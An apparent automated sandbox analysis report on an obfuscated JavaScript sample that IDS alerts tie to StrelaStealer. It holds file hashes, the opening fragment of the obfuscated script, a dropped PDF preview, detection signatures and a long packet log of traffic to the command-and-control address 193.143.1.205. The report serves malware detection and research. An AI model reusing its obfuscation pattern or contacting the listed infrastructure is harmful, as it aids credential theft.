SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18420), with CRLF line terminators
Entropy (8bit):	4.8972765526141355
TrID:
File name:	91263130946456752.js
File size:	22'061 bytes
MD5:	4c4f257a98bb8babe7ed7dafb9d25369
SHA1:	9b5422723f3a130a8f7440a3f2a720994ce9683e
SHA256:	241d0b93d082223db75d9c7a0c4025bbf54fd332b51afb73022a1becb54331ba
SHA512:	8cbd85558776bc2dc328fa5dfa7da26ad519fe8b4d0676fd745172ffeec229924e9109b7b56d646ce0f57fb6c978e0b3bd9971a955b32a2e68b76d2bbb8a5569
SSDEEP:	384:gpX+ypksritYe40zUDAhH7n6eg/hfrd9yetBV1Nf4Km1gZv5knnwqbDyBGDL0FIJ:grkOr0zh7n6eg/hfrd9yetBV1Nf4Km1B
TLSH:	53A285961992FBE9CDF40910507A07D65A3C434E00E9504AA02B6F864FFE7B1E7D6E3A
File Content Preview:	function kgvqm(){ptxcbwr=[1031,3079,5127,4103,2055,3072];var ylwrmp=this[deejulmy+vrgworlc+fyscnfsn+ctfoedgt+xhjmfar+nrgxhkfi+vmtfqqgh+wtcvnsyhv](this[zdzgdwdhk+rbtuhax+lvpdsfrgj+fyscnfsn+cvkhlvc+deejulmy+wtcvnsyhv][cbmbuerf+fyscnfsn+xhjmfar+vrgworlc+wtcv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:28:55.999712+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T07:28:55.999712+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T07:28:58.326534+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:28:55.160499096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:55.165394068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.165498972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:55.169092894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:55.173979044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.999630928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.999665976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.999676943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.999711990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:55.999810934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.999823093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.999833107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.999845028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.999864101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:55.999906063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:55.999922037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.999933958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.999950886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:55.999974012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.000403881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.059783936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.059818029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.060154915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.124542952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.124569893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.124582052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.124603987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.124617100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.124625921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.124651909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.124911070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.124922037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.124979973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.125077963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.125101089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.125112057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.125129938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.125157118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.125237942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.125252008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.125299931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.126013994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.126025915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.126044035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.126080036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.126095057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.126104116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.126121044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.126935959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.126954079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.126965046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.126976967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.126990080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.126991034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.127008915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.127042055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.196275949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.236845970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.236861944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.236876965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.236968040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.236968040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.249183893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.249224901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.249281883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.249736071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.249747992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.249761105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.249766111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.249773026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.249778986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.249785900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.249790907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.249967098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.250015974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250060081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250072002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250098944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250102043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.250142097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.250539064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250551939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250565052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250597954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250611067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250622034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250626087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.250631094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250642061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.250669956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.250760078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.250864983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.251446962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.251460075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.251471996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.251513958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.251533031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.251543999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.251554012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.251568079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.251580000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.251607895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.251689911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.251739979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.252444029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.252463102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.252475977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.252486944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.252500057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.252520084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.252547026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.252578020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.252589941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.252600908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.252641916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.252912998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.253331900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.253345013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.253356934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.253412962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.253429890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.253496885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.287254095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.287269115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.287280083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.287400961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.327622890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.327672005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.362201929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.362215042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.362226009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.362237930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.362294912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.362304926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.362409115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.362421989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.362462997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.374447107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374463081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374483109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374491930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374504089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374506950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.374528885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374541998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374547005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.374572992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.374572992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374608040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.374768972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374788046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374800920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374885082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374897957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374902964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.374907970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.374922037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.375025034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.375180006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375227928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375240088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375263929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.375284910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375344038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.375365019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375376940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375386953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375399113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375422001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.375454903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.375488043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375499964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375562906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375575066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.375585079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.375618935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.376099110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376116991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376128912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376220942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376233101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376235008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.376243114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376266003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.376301050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.376375914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376388073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376398087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376409054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376419067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376424074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.376455069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.376514912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.376552105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.377079964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377095938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377106905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377135992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.377146006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377156973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377166986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377177000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377188921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.377209902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.377306938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377317905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377327919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377337933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377350092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377366066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.377402067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.377969980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377981901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.377994061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378025055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.378046989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378057957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378068924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378082991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.378103018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.378190994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378202915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378212929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378221989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378232956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378243923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378249884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.378299952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.378823996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378845930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378863096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378878117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.378943920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378956079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378967047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.378982067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.379096985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.379336119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.379364014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.379374981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.379400015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.379426956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.379440069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.379448891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.379463911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.379491091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.380790949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.418610096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.418627024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.418667078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.453191996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.453207016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.453217983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.453458071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.453610897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.453623056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.453634024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.453644991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.453649998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.453655958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.453669071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.453711987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.453742981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.453754902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.453783035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.453852892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.454293013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.454345942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.465616941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.465651989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.465665102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.465688944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.465693951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.465720892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.465735912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.486926079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.486960888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.486974001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.486999035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.487080097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.487093925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.487095118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.487106085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.487118006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.487147093 CET	80	49704	193.143.1.205	192.168.2.5
